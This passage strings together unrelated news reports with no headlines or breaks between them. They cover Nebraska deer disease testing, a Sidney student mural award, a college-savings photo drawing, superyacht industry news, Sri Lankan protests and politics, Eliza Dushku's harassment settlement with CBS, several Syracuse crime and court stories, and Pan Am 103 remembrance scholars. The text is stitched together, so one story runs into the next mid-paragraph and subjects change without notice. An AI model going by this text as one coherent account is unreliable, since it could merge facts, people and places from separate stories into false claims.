OutdoorNebraska.gov/cwd/. Hunters whose deer tested positive will be contacted by Game and Parks. There were 131 positives from 1,208 deer sampled in the Pine Ridge, Plains, Sandhills, Keya Paha, Calamus West and Loup West management units. Only mule deer were sampled in the Pine Ridge, Plains and Sandhills units, while only whitetails were sampled in the Keya Paha, Calamus West and Loup West units. The goal of this effort is to assess the spread and prevalence of the disease through periodic testing in each region of the state, which in turn helps biologists predict when and if future effects on deer numbers may occur, said Todd Nordeen, Game and Parks big game research and disease program manager. Testing will take place in regional locations of the state in the next several years. Although present in Colorado and Wyoming for several decades, CWD was first discovered in Nebraska in 2000 in Kimball County. To appreciate where you are, you need to know where you came from, what affected society. Sidney High School students took part in the Journey Through Our Heritage program this fall at Metropolitan State University in Colorado. The program is a way for students to study their culture and how culture has developed, according to Alec Johnson. Johnson is one of the Sidney students who participated in the program. He said the program also studies how culture has developed. He has been participating in the voluntary program for three years. "For a lot of people, it is sort of emotional," he said, "because they don't participate in other things." Several other students from the team agreed that it is an emotionally-charged experience. Yoselin Parra, who also has three years in the program, compared the experience to a big family. "Sometimes we don't agree with what we do, but we work through it," she said. The JTOH team is composed of 15 students exploring the history of Nebraska from the Paleozoic era to present time. "It is a place which binds our team, and it is one of the many lenses through which we perceive the world. The mural concept is designed in the form of a map that transcends time and direction," the team said in the presentation. The JTOH experience included research, planning, designing and composing a mural and the presentation. It was in these stages that students learned how to work through conflicts and staying focused on the team's objective. This year was more difficult because there were fewer students wearing more hats. "I think this year was ver challenging," Parra said, because there were fewer students on the team. The surprise of the experience was receiving the Grand Champion award. Johnson said they were confident in their presentation, but some of the students felt the team faced strong competition for the mural. The presentation is a quick history lesson, from the time the North American land mass was waiting for the first sign of humanity to the impact of Cabela's and then Bass Pro on the Sidney and Cheyenne community. The theme of the mural focused on the state of Nebraska, formed in the shape of the state map. The mural includes symbols of what the students defined as factors impacting society. Ella Miller, who also is a member of the team, said it is nice to interact with other people. Tiara Ginther said meeting other people is one of the best parts of the JTOH experience. "I just really enjoy hearing everyone's ideas, what they have to say," she said. Johnson said there are individual competitions in the JTOH program at Metro State in the spring. Sidney's Kristin Boltjes was one of five winners chosen in the NEST 529 Fall Festivities Photo drawing. Each winner received a contribution toward a NEST 529 college savings account. A young Sidney resident got a leg up on her college education this week, thanks to the submission of a photo taken by her mother. Sidney's Kristin Boltjes entered a picture of her daughter, Everly, which was selected as a winner of a contest which makes contributions to college savings accounts. The photo, of Everly in an owl suit, has the caption "Happy Halloween! Hoo Hoo" on it on the Nebraska State Treasurer's website. First National Bank of Omaha and Nebraska State Treasurer Don Stenberg announced five winners in the NEST 529 Fall Festivities Photo Drawing Tuesday. Each winner was selected at random and will receive a $1,000 contribution to a NEST 529 College Savings account. To be included in the drawing, entrants were invited to submit captioned photos of children age 12 and younger enjoying fall activities. "We received wonderful, fall-themed photos as part of the Fall Festivities Photo Drawing," said Treasurer Stenberg, Trustee of NEST. "The contestants were enthusiastic about establishing and growing their higher education savings. We are grateful to all of them for sharing their photos with us and for taking steps to reach their savings goals." Fall Festivities Photo Drawing winners were: - Rebecca Behle, Columbus - Tatum Casart, Lincoln - LaDonna Stanosheck, Osmond - Kristin Boltjes, Sidney - Linsey Knerl, Tekamah "The Fall Festivities Photo Drawing was an exciting way for us to encourage families to enjoy the beauty of fall while reminding them to look ahead to the future," said Deborah Goodkin, Managing Director, Savings Plans, First National Bank of Omaha. "The best time to prepare for tomorrow is today. That's why we encourage families to take advantage of opportunities such as this-as well as the many other scholarships we offer-to prepare for the years ahead and achieve their academic dreams." For images of the Fall Festivities Photo Drawing winners, please visit the Fall Festivities Winners photo album on Facebook (@NEST529College Savings). The winners are also shown on the State Treasurer's website, treasurer.nebraska.gov. NEST 529 is a tax-advantaged 529 college savings plan and provides four plans to help make saving for college simple and affordable: NEST Direct College Savings Plan, NEST Advisor College Savings Plan, TD Ameritrade 529 College Savings Plan, and State Farm 529 Savings Plan. The Nebraska State Treasurer serves as Program Trustee. First National Bank of Omaha serves as Program Manager, and all investments are approved by the Nebraska Investment Council. Families nationwide are saving for college using Nebraska's 529 College Savings Plans, which have more than 261,000 accounts, including over 84,000 in Nebraska. Visit NEST529.com and treasurer.nebraska.gov for more information. The Yards No round-up would be complete without mentioning the superyachts that shook the industry with their length, design and ability. From Pride Mega Yachts launching the largest Asian superyacht to date (Illusion Plus) to Anna; the largest Feadship to ever leave the Dutch-yards shed. Its been a big year for big yachts. Lurssen also launched two giants deserving of milestone status. Namely TIS and SHU at 111 and 136 metres respectively, whuch both entered the Top 100 with ease. However its not just the large yachts that made waves. The environmentally considerate marvelled at Tankoas latest launch, Solo which won the RINA award at this years Monaco Yacht Show: a prize for compliance with environmental standards established by the Italian classification company. Of course, Oceancos Project Shark (now DAR) is a must mention when it comes to momentous deliveries. At 90m, she is not only one of larger yachts to hit the water, but her Luiz de Basto styled silhouette sets her apart from anything seen before. With wing stations resembling a hammerhead shark, theres nothing else on the water quite like it. The Brokers Its not just the shipyards, but the sales and successes of the brokerage world that provided some of the most momentous moments in the past yachting year. Just recently, market leader Burgess announced a milestone in their own history with the largest sale of the year. M/Y Jubilee exchanged ownership back in November. In fact, a flurry of special sales came towards the final quarter of 2018. Recent news from Cecil Wright celebrated the sale of the iconic 82m M/Y Kibo in partnership with Merle Wood, who also announced the sale of 70m Lurssen-built Saint Nicholas alongside IYC. Perhaps the most impressive sailing yacht brokerage deal of the year was of the impeccable S/Y Sybaris. At 70m, her sale was facilitated by Perini Navi USA and Edmiston, with Bruce Brakenhoff Jr., (President of Perini Navi USA) making a milestone statement on the process the deal was masterfully orchestrated by Jamie Edmiston - who performed pretty much the best yacht brokering job Ive ever seen in my 35 years in the business. A milestone statement for a momentous sale. The Shows Showcasing the creme-de-la-creme of the industry, the annual yacht shows offer unrivalled platforms to promote products, services and of course superyachts. This year, The Monaco Yacht Show was the prime example of this activity with 580 exhibitors, 120 superyacht, 40 tenders & toys and a colossal 36,400 participants, this is a show which creates a new milestone in its unwavering success year on year. Of course, the Superyachts.com Breaking News Centre was a huge part of the show, with a new location and over 60 interviews with industry pillars recorded and released throughout the week. Across the pond it wasnt long until the torch was passed to Fort Lauderdale International Boat Show to represent the American yachting scene. With the president at the centre of discussions about the American Market, the docks of FLIBS thrived. Perhaps increased activity in the Americas is a little more than a fleeting milestone moment. While these are just a few focal points from the year in review, there are plenty more to come as we look to the future and 2019. If you think we're missing something, or if there's something you want to share, get in touch with us via our social feeds or email. Police used tear gas and water cannon to disperse the protesting university students outside the Colombo Fort, police said. Heavy traffic was reported in and around the area as a result of the protest carried out by the Inter University Students' Federation (IUSF). Video by Sanjeewa Japan, as a long-standing friend, has said, it welcomes the recent development towards political stability in Sri Lanka including the appointment of the new Cabinet through due process in accordance with the law. Japan, in cooperation with the Government of Sri Lanka, commits to further strengthening our Comprehensive Partnership in order to achieve peace, stability and prosperity in Sri Lanka and the Indo-Pacific region. We commend all the parties for their efforts, a statement from the Japanese Embassy in Colombo said. Actress Eliza Dushku broke her silence Wednesday about a $9.5 million settlement she reached with CBS over workplace sexual harassment, saying she was fired from a television show as retaliation for complaining about onset treatment. In an essay published by The Boston Globe, Dushku wrote that she was written off the show "Bull" after she confronted actor Michael Weatherly about sexually charged comments he made onset. Dushku wrote that she initially declined to comment about the settlement to The New York Times, which first reported on its existence in a story published Thursday, because she wanted to honor the terms of the agreement. "The narrative propagated by CBS, actor Michael Weatherly, and writer-producer Glenn Gordon Caron is deceptive and in no way fits with how they treated me on the set of the television show 'Bull' and retaliated against me for simply asking to do my job without relentless sexual harassment," she wrote. "This is not a 'he-said/she-said' case. Weatherly's behavior was captured on CBS's own videotape recordings." She also wrote that the "boys' club remains in full force at CBS" and that "the bullying continued" after she was no longer employed by the network. "In the settlement process, CBS used as defense a photo of me in a bathing suit, pulled from my own Instagram, as if this suggested I deserved or was not offended by the sexual harassment I experienced," she wrote. (CBS did not immediately return The Washington Post's inquiry about Dushku's essay.) Weatherly told The Times he "made some jokes mocking some lines in the script. When Eliza told me that she wasn't comfortable with my language and attempt at humor, I was mortified to have offended her and immediately apologized." "After reflecting on this further," he continued, "I better understand that what I said was both not funny and not appropriate, and I am sorry and regret the pain this caused Eliza." Dushku's comments come as CBS is publicly dealing with several sexual-misconduct scandals. Details of her settlement came out during the independent investigation the network launched this summer into allegations against former chief Les Moonves. (CBS' board of directors announced Monday that Moonves was terminated for cause and that he would not receive $120 million in severance.) "The allegations in Ms. Dushku's claims are an example that, while we remain committed to a culture defined by a safe, inclusive and respectful workplace, our work is far from done," CBS said in a statement to The Times last week. "The settlement of these claims reflects the projected amount that Ms. Dushku would have received for the balance of her contract as a series regular, and was determined in a mutually agreed upon mediation process at the time." A day after the Dushku settlement became public knowledge, CBS announced that it would distribute $20 million to 18 organizations focused on curbing workplace sexual harassment. "CBS' support of these endeavors ties into the company's ongoing commitment to strengthening its own workplace culture," the network said in a statement. Before she joined "Bull" in 2017, Dushku had roles on television shows including "Buffy the Vampire Slayer," "Angel," "Tru Calling" and "Dollhouse." She's also appeared in several films, such as "True Lies," "Bring It On" and "Jay and Silent Bob Strike Back." According to Dushku and the Times report, she was hired to appear in the three episodes of the first season of "Bull," with plans for her to continue in a major role in future seasons. But Dushku wrote that she endured repeated harassment that was captured on tape, including comments made by Weatherly about taking her to his "rape van," him calling her names, playing "provocative songs (like 'Barracuda') on his iPhone when I approached my set marks" and remarks he made in a room full of people "about having a threesome." According to Dushku, she asked Weatherly to "help ease the sexualized set comments," and shortly after, he complained to the CBS Television president that Dushku had a "humor deficit." Within days, she wrote, producer-writer Caron fired her. Weatherly told The Times he wasn't involved in the decision to write Dushku off the show, and Caron denied that retaliation was behind the move. "The idea that our not exercising her option to join the series was in any way punitive just couldn't be further from the truth," Caron told The Times. It's not unusual for settlements regarding sexual harassment complaints to include nondisclosure agreements or requirements that the parties involved stay silent about the claims. But the (hash)MeToo movement and increased attention on sexual misconduct in Hollywood has prompted some to speak publicly anyway. For Dushku's part, she wrote, "I really struggled with this and still do." She agreed to the terms - which included designating a sexual harassment compliance monitor at CBS - as she faced the prospect of a lengthy and costly legal battle. In the end, I found uneasy solace in the important conditions I imposed on CBS, and that I would get paid for at least some of my contract, she wrote. SYRACUSE, N.Y. -- An Auburn man is accused of dragging a state trooper with his pickup truck during a traffic stop Tuesday evening in the city of Syracuse, according to New York State Police. Troopers assigned to the Syracuse Initiative conducted a traffic stop at about 7:06 p.m. on a 2006 Chevrolet Silverado pickup truck in the parking lot of the Syracuse Upstate Market, located at 124 Merriman Ave. The operator, Shaun H. Clark, was unable to produce a drivers license or any sort of valid identification and was visibly nervous. state police said. Troopers asked Clark, 31, to exit the vehicle. As troopers began to search Clark, he abruptly ran and got back in his truck. He then sped forward, dragging Trooper Andrew Skerpon with him, state police said. The vehicle struck the building in front of the pickup truck, and then backed up striking a marked state police vehicle, pinning Skerpon between the two vehicles, state police said. Clark fled the scene. Troopers began a traffic pursuit that ended on Niagara Street when Clark struck a fence and fled on foot. Troopers Skerpon and Burdick, with the assistance of officers from Syracuse Police Department, took Clark into custody after a brief foot pursuit. Clark, who resisted arrest, sustained cuts to his face and shoulders, state police said. Clark was transported to Upstate University Hospital, where he was treated and released. Clark faces the following charges, according to state police: Assault on a police officer, a felony Second-degree criminal mischief, a felony Second-degree reckless endangerment, a misdemeanor Resisting arrest, a misdemeanor Third-degree unlawful fleeing a police officer, a misdemeanor Second-degree obstructing governmental administration, a misdemeanor Seventh-degree criminal possession of a controlled substance, a misdemeanor Clark was transported to the Onondaga County Justice Center for arraignment. Trooper Skerpon was transported by ambulance to Upstate University Hospital where he was treated and released, state police said. SYRACUSE, N.Y. -- An employee was shot to death Wednesday night outside of the Syracuse market where he worked. Asim Musa, of Syracuse, died shortly after he was shot in the back outside of Eddies Eagle Market at 140 Oakwood Ave., said Detective George Hack, of the Syracuse Police Department. He was 41 years old. The deadly shooting happened shortly before 9:30 p.m. A masked suspect carrying a handgun entered the store and encountered Musa, an employee, Hack said. The suspect and Musa got into a fight -- which spilled outside onto the ground, he said. When both the suspect and Musa were on the ground, a second suspect shot Musa in the back, Hack said. The suspects -- two younger black males wearing dark clothing -- then fled, running across the street and heading east, he said. American Medical Response rushed Musa to Upstate University Hospital. He died shortly after. Police asked anyone with information about the homicide to call (315) 442-5222, submit tips through the anonymous Syracuse PD app or call in anonymous tips to the homicide tip line at (315) 442-5223. CICERO, N.Y. -- Seven middle school students complained of pain after a low-speed crash involving two school buses this afternoon in Cicero, according to Onondaga County sheriffs deputies. One school bus bumped another school bus in front of the Gillette Road Middle School in the North Syracuse Central School District as the buses were leaving the school, according to Sgt. Jon Seeber, a spokesman for the sheriffs office. There were 35 students on one bus and 28 students on the other bus. One student with minor injuries was transported to Upstate University Hospital for evaluation, Seeber said. The bus was traveling at about 5 mph when it struck the bus in front of it, according to Laurie Cook, school information officer for North Syracuse schools. Cook said the students on the bus that was hit were unaware that their bus had been struck. The student that was transported to the hospital complained of neck pain and subsequently other students expressed various discomforts and were inspected by medical personnel and released to their guardians," Cook said. The accident occurred at about 2:55 p.m., according to Onondaga County 911. SYRACUSE, N.Y. New York is giving a doctor who stole painkillers from his patients and has been sanctioned for misconduct three times another chance to practice medicine. The state Board for Professional Medical Conduct has decided to let Dr. Richard J. Wessel work again if he can prove hes fit to return to practice. Before that can happen, Wessels medical license will be suspended for at least another 12 months under the terms of a disciplinary action that takes effect Dec. 26. The board sidelined Wessel in March after he was arrested and charged with stealing prescription drugs from patients at Canton-Potsdam Hospital in St. Lawrence County. Wessel, 59, of Colton, was convicted in Potsdam Town Court in October of one count of petit larceny, fined $500 and sentenced to a conditional discharge. Anytime doctors are convicted of crimes they are also charged with professional misconduct. Police said Wessel asked patients to bring their prescriptions to appointments, then stole some of their painkillers when patients left the exam room. Wessels license was previously suspended twice for substance abuse-related misconduct in North Carolina. The state board has come under fire for being too lenient with troubled doctors. A recent Syracuse.com report revealed the state board rarely revokes the medical licenses of doctors even when they are repeat offenders. Andrew Knoll, Wessels attorney, said the board believes Wessel can be rehabilitated. He said all of Wessels wrongdoing occurred during periods of active addiction. He said the doctor is remorseful and working hard to maintain sobriety. Rich recognizes he fell back into his addiction and started doing bad things, Knoll said. Knoll said if and when Wessel is allowed to return to practice the board will probably make him submit to random drug screening as long as he practices. Everyone deserves another shot after relapse so long as they agree to be monitored for the rest of their career, he said. This is Wessels third shot. North Carolina medical board records show Wessel drank wine on a Friday night in 1999 before implanting a pacemaker in a patient at a North Carolina hospital. When asked for a blood sample to determine his blood alcohol level, Wessel took blood from a patient's intravenous line and submitted it as his own. After hospital officials discovered what he did, Wessel's medical license was suspended for two months. In 2006 the heart doctor's medical license was suspended again. This time it was for two years, after Wessel tested positive for cocaine and hydrocodone, a prescription painkiller, and improperly prescribed drugs. After those incidents Wessel, like many recovering addicts became complacent and began using again, according to Knoll. After police arrested Wessel earlier this year, New Yorks decision to give Wessel a medical license in 2014 given his track record was questioned. Dr. Sidney Wolfe, an expert on doctor discipline at Public Citizen, a national consumer group, said in a Syracuse.com story published in April that New York was wrong to give Wessel a license. "Why would you license someone who's already had two suspensions in another state?" Wolfe said. Medical licenses in New York are issued by the state Education Department, while physician discipline is handled by the Board for Professional Medical Conduct, an arm of the state Health Department. Before issuing licenses, the education department is supposed to determine if applicants are of good moral character and investigate any prior instances of medical misconduct in other states. The state Education Department has refused to say if it was aware of Wessels track record in North Carolina. But Knoll said the doctor did disclose his North Carolina license suspensions to the state Education Department which conducted a moral character review. Had Wessel not disclosed his history, the board probably would not have given him another chance, Knoll said. Before he can get his license back Wessel will have to prove he has successfully completed addiction therapy. Syracuse, NY -- The 16-year-old shooter in a home-invasion-turned-murder finally pleaded guilty today, a month after he backed out of his plea midstream. Francis Mercados change of heart came the week after a co-defendant, Michael Smyre, 25, was convicted by jury of orchestrating the ordeal, which was supposed to be an armed burglary. Mercado admitted to police that he opened fire Dec. 12, 2017 after encountering victim James Smith III. Smith was killed by the gunfire. But Mercado had resisted pleading guilty, despite his apparent confession. He got close to pleading guilty Nov. 13, but then said: No, I did not, when asked if he murdered Smith. Mercado was still planning to go to trial until recent days. His lawyers contacted prosecutor Robert Moran Wednesday, looking to make a deal. As it turned out, Mercado worked out his plea with state Supreme Court Justice Gordon Cuffy directly, cutting Moran out of negotiations. Today, Mercado was promised a sentence between 18- and 25-years-to-life. The lower end of the sentence range will be determined by Cuffy at an official sentencing proceeding in the coming months. Four others have already pleaded guilty to burglary for their roles in the incident. They were all supposed to testify against Smyre at trial. But only three did: Cameron Webster, Jonathan Mejia and Quinton Gathings. The fourth, Tyrone Byrd, reneged on his promise to testify. That puts his 15-year plea deal in jeopardy. Prosecutor Moran suggested today that Byrd could go to trial after all. TOWN OF ONONDAGA, N.Y. -- A New York State Police car was struck this morning on Interstate 81 north in the town of Onondaga while the trooper was providing traffic control. The marked state police vehicle had its emergency lights activated and was providing traffic control at about 8:36 a.m. for a disabled vehicle on the shoulder of I-81 north, one mile north of state Route 11, in the town of Onondaga. A 2018 Hyundai, operated by Diane Lopez-Edouard, 40, of Endicott, was northbound on I-81 when she observed traffic slowing ahead of her. The driver told police she couldnt stop in time, so she swerved to the right striking the drivers side rear of the state police vehicle, troopers said. Lopez-Edouard was transported to Upstate University Hospital for fractures to both arms and underwent surgery. She was ticketed for violating the New York State Move Over Law, troopers said. Trooper Andrew Broderick was transported to Upstate University Hospital with neck and back injuries where he was treated and released. State police want to remind motorists of the importance of moving over for first responders and others who assist with motor vehicle crashes and other roadside incidents. The states Move Over law requires cars to move over, if they can safely do so, for police, firefighters, ambulance workers, tow-truck drivers, and other personnel as they work at crash scenes. Motorists are similarly required to move when construction and maintenance vehicles are stopped alongside roads. Since the law was first enacted in 2011, almost 107,000 people have been ticketed for failing to move over, state police said. So far in 2018, 12,775 tickets have been issued. The penalty for violating the Move Over law is a fine of up to $150, or jail time of up to 15 days, or both. It also counts for two points on a driver license, state police said. Syracuse, NY -- A suspended Syracuse police officer, accused of violating a court order to stay away from his girlfriend, was granted bail today over a prosecutors request for no bail. Ahmad Mims, 34, is facing a felony for disobeying judges orders following numerous incidents, one in which Mims is accused of holding a gun to his girlfriends head. Mims was already facing misdemeanors in Cicero and Lake George for alleged domestic abuse in September. Thats when he was ordered to stay away from his girlfriend. He was suspended from the police department, but remains on paid leave as the cases progress. He made $106,710 last year. But on Tuesday, Mims was arrested again for criminal contempt (violating the judges order) and unlawful imprisonment (a new allegation). The arrest arises from a Dec. 2 incident in which Mims physically restrained his girlfriend, violating the order to stay away from her, according to court paperwork. His lawyer, Eric Jeschke, said Mims had checked himself in last Friday night to St. Josephs Hospital Health Centers Comprehensive Psychiatric Emergency Program (CPEP), but was released the following morning after his medications were adjusted. By that point, troopers were already investigating him for the Dec. 2 incident. And on Tuesday, they arrested Mims. He was ordered held with no bail. That brought us to todays bail argument. Jeschke asked for $1,500 cash or bond. County Court Judge Thomas J. Miller appeared surprised when prosecutor Jeremy Cali asked for no bail. Cali said his concern was that Mims was a threat to himself and to the victim in the case. He noted a photo in which Mims was pointing a gun into his own mouth. Jeschke said Mims has surrendered all of his guns, including his service weapon. Mims had been in an inpatient treatment center, Tully Hill, for psychiatric problems following his September arrest, lawyers said today. He continued to see Tully Hill counselors four times a week after his release. But none of that had helped Mims follow the judges order to stay away from his girlfriend, Cali said. I think everyone was encouraged by treatment at Tully Hill and post-treatment after that, but Mr. Mims began to reengage the victim, Cali said. He was ordered not to do A, B and C, and he continued doing A, B, C, D... all the way through G. With that, Cali asked the police officer to be kept without bail. Miller, the judge, asked Cali if hed actually said no bail. The prosecutor said yes. This is difficult situation for all of us, the judge said. Most of the time, bail is simply used to make sure someone comes back to court. But thats not really a concern here, the judge noted. Mims' family and friends came to court today to support him. Hes a lifelong Central New York resident. Hes made all of his court appearances so far. Instead, the bail seems to be a way to keep Mims from harming himself or others, the judge noted. (Those factors are allowed in domestic-violence cases.) Miller said hed set bail, noting it was against the wishes of the prosecution. With that, he set bail at $25,000 cash or $50,000 bond. The judge also signed a third court order keeping Mims away from his girlfriend. Mims signed the third order of protection in court. Mims was not freed in court today. Hell have to get together the money and bring it to the jail before he can go home. Hes still facing the felony criminal contempt and the misdemeanors for the domestic incidents. This year marks the 155th anniversary of President Abraham Lincoln issuing his Emancipation Proclamation. Following the Union Armys victory at the Battle of Antietam on Sept. 17, 1862, Lincoln issued his Preliminary Emancipation Proclamation, ordering that in 100 days the federal government would deem all slaves living in states then in rebellion against the United States, to be then, thenceforth, and forever free. President Abraham Lincoln's Preliminary Emancipation Proclamation Through the night on Dec. 31, 1862, abolitionists waited for news that Lincoln would honor his pledge and release his proclamation. To commemorate this important moment in American history, the National Abolition Hall of Fame and Museum in Peterboro, N.Y. will hold its annual Watch Night on New Years Eve. The public is encouraged to attend the free program beginning at 11:30 a.m., which has been once been arranged by retired Naval Commander Owen Corpin, a native of Peterboro. Following a light lunch and brief programs about the Hall of Fame and Museum, a watch fire will be ignited on the museums green and the Preliminary Emancipation Proclamation will be read. Copies of the Proclamation will also be available. A copy of the Preliminary Emancipation Proclamation will be on exhibit from the New York State Museum. THE DETAILS What: Watch Night ceremony commemorating the issuing of President Abraham Lincolns Emancipation Proclamation Where: National Abolition Hall of Fame and Museum, 5255 Pleasant Valley Road, Peterboro, N.Y. 13134 When: Dec. 31, 2018, beginning at 11:30 a.m. How much: Free For more information: 315-280-8828 and nahofm1835@gmail.com Not a day goes by when Tori Cedar doesnt pause to think about Alex Lowenstein. She has a tattoo on her left wrist to remind herself of him. Tori Cedar, a Remembrance Scholar at Syracuse University in 2017-18, had Alex Lowenstein's seat number from Pan Am 103 tattooed on her wrist so she would remember him always. provided photo/Tori Cedar Shes never met him. She never will. Lowenstein died before Cedar was born. Hell always be 21. Thats how old Lowenstein was when he died aboard Pan Am Flight 103. The plane blew up over Lockerbie, Scotland, 30 years ago. A terrorists bomb was detonated on the plane Dec. 21, 1988. All 259 onboard were killed, along with 11 more on the ground in Lockerbie. Lowenstein and 34 other Syracuse University students on the plane were heading home for the holidays after spending the semester abroad. How can this mean so much 30 years later? Cedar said, asking the question of herself. Why it is so important to keep remembering? The answer is they were us. These students were us. Thirty years after the bombing, the communities torn apart by the terrorist attack a generation ago still work to remember and heal in the names of those who were lost. Cedar was a remembrance scholar at Syracuse University during her senior year, 2017-18. She was one of 35 students chosen each scholar represents one of the students who died. It is a part of a promise made 30 years ago by Chancellor Melvin Eggers to keep the students memories alive. It is the kind of thing that can dim with time, an effort that can fall away as leaders change and recollections fade. But it has not. Every year, 35 new students learn the lives and unfilled hopes of the 35 students who died on that plane. Then they share them. In big ways -- through projects and public speaking. But also in small, everyday ways that scatter the dreams of these long-dead young adults into the lives of people who carry them forward. There are also two students who come each year from Lockerbie to spend their gap year studying at Syracuse University. Over the past 29 years, there have been 58 Lockerbie scholars and more than 1,000 Remembrance scholars. Kelly Rodoski was a freshman at Syracuse University when Pan Am 103 exploded over Lockerbie. Now, her job is helping people remember build something positive from it. She oversees the Remembrance and Lockerbie scholars. The Lockerbie scholars become like her own children. As she talked, a text came across her phone from one of this years scholars. The student was going to go white-water rafting and was trying to track down a pair of old sneakers to wear. Rodoski, who has a teen daughter of her own, added finding those sneakers to her to-do list. They are like my kids, she said. Last year, Rodoski ended up hosting one of the scholars at her home during spring break after his plans fell through. She had been diagnosed with breast cancer and her surgery was scheduled for that week. Instead of being a burden, the student helped lighten Rodoskis load that tough week. He needed a haircut and she kept telling him to get one. When she returned from the hospital, he was waiting on her couch. He had put his hair up in a man-bun to make her laugh. I was like, Oh my God, Im home, she said. That young man was Andrew Dorrance, the son of Colin Dorrance. He was the first police officer on the scene of the crash 30 years ago. This year, he retired. Both of his children were Lockerbie scholars. Lockerbie was so good to us, Rodoski said. Its good we have a chance to do this for their kids. Rodoski also helps the nearly three-dozen Remembrance scholars every year. She helps pass out the buttons when the scholars find out which student they will represent for the year. These kids are emotional, Rodoski said. It still touches her every time. These are kids theyve never met. *** Tori Cedar, a Remembrance Scholar from Syracuse University, visited Lockerbie to see the site when Alex Lowenstein died. Before Cedar was paired with Lowenstein, she read his bio and flipped through photos of him. I saw a friend in his eyes, she said. As she looked through photos and papers in a box at SUs Pan Am 103 archives, he became real. And she cried. They were both beach kids. He was from New Jersey, but spent summers surfing on the beaches of Montauk. She grew up on the Jersey shore and surfs, too. Lowenstein yearned to bring people together. He was an English major, but his dream was to pursue a career in psychology, Cedar said. He didnt get to. But Cedar is. In the fall, she started at Rutgers University, where she is pursuing a doctorate degree in psychology. Though Cedar has moved on from Syracuse, Lowenstein is still with her. She had his seat number, 20D, tattooed on the inside of her left wrist. When she thinks of him sitting there, she hopes he had fallen asleep, dreaming maybe of seeing his mom, dad and brother after being away from them for a semester in England. If he was sleeping, he wouldnt have known what was going on, Cedar said. When she looks at her wrist, she thinks of the man she never met, but knows like a friend. I like to be reminded that hes with me, making this world a warmer place, Cedar said. *** When Jacqueline Page was a freshman, she heard a Remembrance Scholar speak about the 35 students who lost their lives. Timothy Cardwell was just like her in ROTC just like she was. He would have been the cadet standing next to me all four years, Page said. Right then, before she ever thought about becoming a Remembrance Scholar, herself, Page began learning about who Cardwell was and what his dreams were. Before Page went to study abroad in London, she looked through Cardwells box in the Pan Am archives at the university. She wasnt yet a remembrance scholar, tasked with carrying Cardwells memory. But Page felt connected to Cardwell. She decided to visit the same places that he had been had before he died on the plane home. In a way, she would finish a small thing he started. My goal was to experience what he experienced and bring it back home, Page said. During her year as a remembrance scholar, Page, too, decided to get a tattoo. She had Cardwells seat number, 37D. And then there are images of the places he went when he was studying in London, like the London skyline, and 35 lines one for each of the 35 students who died. Pages mother hates tattoos. The young woman thought about getting one that she could hide. In the end, she decided the go big. It starts on her upper arm and stretches to her shoulder. When she saw this, she cried, Page said of her mother. This one, shell allow. The tattoo serves not just to remind her, but to help her carry the memory of Pan Am and the 35 students out into the world, with her. Page, who is now an armor officer in the U.S. Army, was flying back from Germany when the flight attendant asked her, jokingly, if she had her seat number tattooed on her so she wouldnt forget. Then she told the story of Cardwell and Pan Am. It was just one of those little moments, Page said. Cardwell, too, was going to become an officer in the army. He was going to be commissioned in May of the year he died, after his graduation. Im doing something he never got to do, she said. Carrying on his legacy means the world to me. Marnie Eisenstadt is an enterprise reporter who writes about people, life and culture in Central New York. Have an idea or question? Contact her anytime: email | twitter | Facebook | 315-470-2246 Why an early election is the best option for all A headline during the 2000 general election Of the twin crises that engulfed the country for 51 days with the unseating of Ranil Wickremesinghe as Prime Minister and the replacing of him with Mahinda Rajapaksa on October 26, the Constitutional crisis has ended with Rajapaksas resignation as Prime minister on December 15 and the swearing of Wickremesinghe on the next day. However, the political crisis that had overlain the Constitutional gridlock still continues. As an extension of it, the legality of Rajapaksas Parliamentary membership, as well as his newly gained Opposition leadership, have been challenged. As the speech made by President Maithripala Sirisena at Wickremesinghes swearing-in ceremony on Sunday indicated many more clashes are to come between the Executive Presidency and the Parliament. When Rajapaksa resigned as Prime Minister on December 15 the UNF leaders argued that he did not have a post to resign from as he had already been ousted from the Premier post on November 14 and 16, through two no-confidence motions. The argument was logical. However, their leader, Wickremesinghe who claimed that his sacking from the post of Prime Minister was illegal and that he was still the Prime Minister was sworn in as Prime Minister on last Sunday. Why should a Prime Minister be sworn in for the same post again? Some time back, Junior Vikatan, a magazine published in Tamil Nadu carried a story about a divorce ceremony in the State. The magazine said that it was the first of the kind. Likewise, for the first time in history, we witnessed a resignation ceremony last Saturday. Rajapaksa at a ceremony at his residence to sign his letter of resignation from the Premiership said he decided to resign as he couldnt go for a general election forthwith. And he said that some people went before the court in the name of democracy to prevent a General Election being held. During his speech at Wickremesinghes swearing-in ceremony, President Sirisena too while giving vent to his anger and frustration over the Supreme Courts rejection of his decision to dissolve the Parliament, expressed the same view. They were attempting to mislead the country and the world. Nobody went before the court to prevent a mid-term election, though an election would have been the result had the Supreme Court upheld the Presidents decision to dissolve the Parliament. It was against that unconstitutional decision of the President that 13 Fundamental Rights petitions had been filed. Besides, the Janatha Vimukthi Peramuna (JVP), one of the petitioners had stated that they would bring in a motion in the House requesting the President to dissolve Parliament, once the Constitutional conundrum was resolved. In fact, had the intention of the President and Rajapaksa been to go for an early election, the former should have dissolved Parliament straight away, without taking pains to unseat Wickremesinghe, appoint Rajapaksa the Prime Minister and to prorogue the Parliament. Even then the same Constitutional and political quagmire would have engulfed the country, but his intention would have explicitly been seeking a fresh composition of the Parliament. When Rajapaksa was appointed Prime Minister, neither he nor the President did say that they would go for a premature Parliamentary Election. They did not utter a word about an immediate election during the prorogation period either. It was after they realized that Rajapaksa could not muster sufficient support to command the majority power in the House that they wanted a mid-term election. President Sirisena had two objectives in this manoeuvre. One was to get rid of the administration of Wickremesinghe who had been ignoring the President and was acting as he pleased in dealing with the affairs of the country. Secondly, the President who feared a political comeback of Rajapaksa was craving for a patch up with Rajapaksa later, when the latters party swept the electorate at the February 10 Local Government Elections. On the other hand, Rajapaksa was eagerly awaiting an opportunity to reverse the legal actions against some of the members of his family and several of his loyalists. He wanted power at least for a short period for this purpose. This was clear by the transfer of a senior CID official who had been handling the cases against Rajapaksa loyalists, soon after Rajapaksa was appointed Premier. The October 26 Constitutional coup was the tryst of those political as well as personal goals of the duo. Rajapaksa during his speech at the resignation ceremony stated that the UNF has been a hostage of the Tamil National Alliance (TNA). In a practical sense, his argument was correct as the UNP Government has been installed on the crutches of the TNA which can pull the carpet under Wickremesinghes feet anytime. A Tamil newspaper quoted the Deputy Chairman of Committees of the Parliament and the leader of the Tamil Eelam Liberation Organisation (TELO), Selvam Adaikkalanathan as saying that TNA would topple the Government if the UNP leaders went back on their words with respect to the immediate issues affecting the Tamil people. However, Rajapaksas intention was not to point at the weakness of the Wickremesinghe Government but to bolster 